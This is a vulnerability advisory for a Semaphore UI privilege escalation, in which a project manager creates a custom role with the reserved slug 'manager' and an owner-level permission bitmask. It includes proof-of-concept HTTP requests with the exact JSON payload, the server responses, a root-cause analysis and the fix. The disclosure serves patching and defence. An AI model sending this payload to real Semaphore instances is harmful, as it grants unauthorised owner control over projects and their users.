high · 8.8CVE-2026-73293Sep 3, 2026

CVE-2026-73293: Semaphore UI Manager-to-Owner Privilege Escalation via Custom Role Slug Collision

Rohit Hatagale
AI Security Researcher, SecureLayer7

A project manager in Semaphore UI can hijack owner-level permissions by creating a custom role whose slug matches the built-in manager role, because the role validator neither blocks reserved slug…

Packagegithub.com/semaphoreui/semaphore
Ecosystemgo
Affected< 0.0.0-20260705182501-bb2a4e1f08c8
Fixed in0.0.0-20260705182501-bb2a4e1f08c8
CVE-2026-73293: Semaphore UI Manager-to-Owner Privilege Escalation via Custom Role Slug Collision

The problem

Semaphore UI (PRO build) resolves a member's effective permissions in ProjectMiddleware by looking up a role row whose slug matches the member's assigned built-in role name, then replacing the built-in bitmask with the database value. The slug query in GetProjectOrGlobalRoleBySlug ignores project scope, so any matching row in the whole database wins.

The role-creation endpoint POST /api/project/{id}/roles is gated only by CanManageProjectResources, a bit the built-in manager role already holds. ValidateRole checks only that the name field is non-empty: it does not block reserved slugs (owner, manager, task_runner, guest) and enforces no ceiling on the permissions integer a caller may submit.

A manager POSTs a custom role with slug manager and permissions 15 (all four bits, including the owner-only CanUpdateProject bit 8 and CanManageProjectUsers bit 4). On the next request, ProjectMiddleware resolves that row and the manager's effective permissions become owner-equivalent.

The attack requires one authenticated HTTP request and no other preconditions beyond holding the manager role.

Proof of concept

A working proof-of-concept for CVE-2026-73293 in github.com/semaphoreui/semaphore, with the exact payload below.

http
# Step 1 - baseline: manager has permissions=5, owner-only endpoints return 403
GET /api/project/42/role
Cookie: semaphore=<manager-session>
# -> {"role":"manager","permissions":5}

PUT /api/project/42
Cookie: semaphore=<manager-session>
# -> HTTP/1.1 403 Forbidden

# Step 2 - exploit: create custom role whose slug collides with built-in "manager"
POST /api/project/42/roles HTTP/1.1
Host: semaphore.example.com
Cookie: semaphore=<manager-session>
Content-Type: application/json

{"slug":"manager","name":"pwn","permissions":15}

# -> HTTP/1.1 201 Created
# -> {"slug":"manager","name":"pwn","permissions":15,"project_id":42}

# Step 3 - confirm escalation: manager now holds permissions=15 (owner bitmask)
GET /api/project/42/role
# -> {"role":"manager","permissions":15}

PUT /api/project/42
Content-Type: application/json
{"id":42,"name":"owned","alert":false}
# -> HTTP/1.1 204 No Content

POST /api/project/42/users
Content-Type: application/json
{"user_id":99,"role":"task_runner"}
# -> HTTP/1.1 204 No Content

The root cause is two missing validations in db/Role.go. ValidateRole (lines 10-15) checks only that the name field is non-empty, leaving slug and permissions entirely unchecked. A caller can therefore submit any slug string, including a built-in reserved slug, with any permission bitmask, including bits that exceed what their role is permitted to hold.

The slug lookup in db/sql/role.go (lines 59-62) runs SELECT * FROM role WHERE slug=? with no project-scope filter. When ProjectMiddleware calls GetProjectOrGlobalRoleBySlug and finds the attacker-created row, it overwrites the effective permission bitmask before the per-route gate checks run (api/projects/project.go lines 49-53).

Because the attacker controls the bitmask value in the database, they can set it to 15 (0b1111), which includes the owner-only bits CanUpdateProject (bit 3) and CanManageProjectUsers (bit 2) that the built-in manager role does not hold.

The fix in commit bb2a4e1f08c8 adds a reserved-slug blocklist to ValidateRole and a maximum-permissions ceiling check keyed to the calling user's own bitmask, so a manager cannot write a role with more bits than they already hold. Commit 1c4bb65df114 scopes the slug lookup to the current project_id, preventing cross-project slug collisions.

The fix

Upgrade to Semaphore UI v2.18.19 (stable) or v2.19.5-beta5 (pre-release). Both include commits bb2a4e1f08c8 and 1c4bb65df114. If you cannot upgrade immediately, remove all project members from the manager role until a patched build is deployed. Only the PRO build with custom project roles is affected; community builds without the role-creation endpoint are not vulnerable.

Reported by Jan Kahmen (turingpoint).

References: [1][2][3][4][5][6]

Related research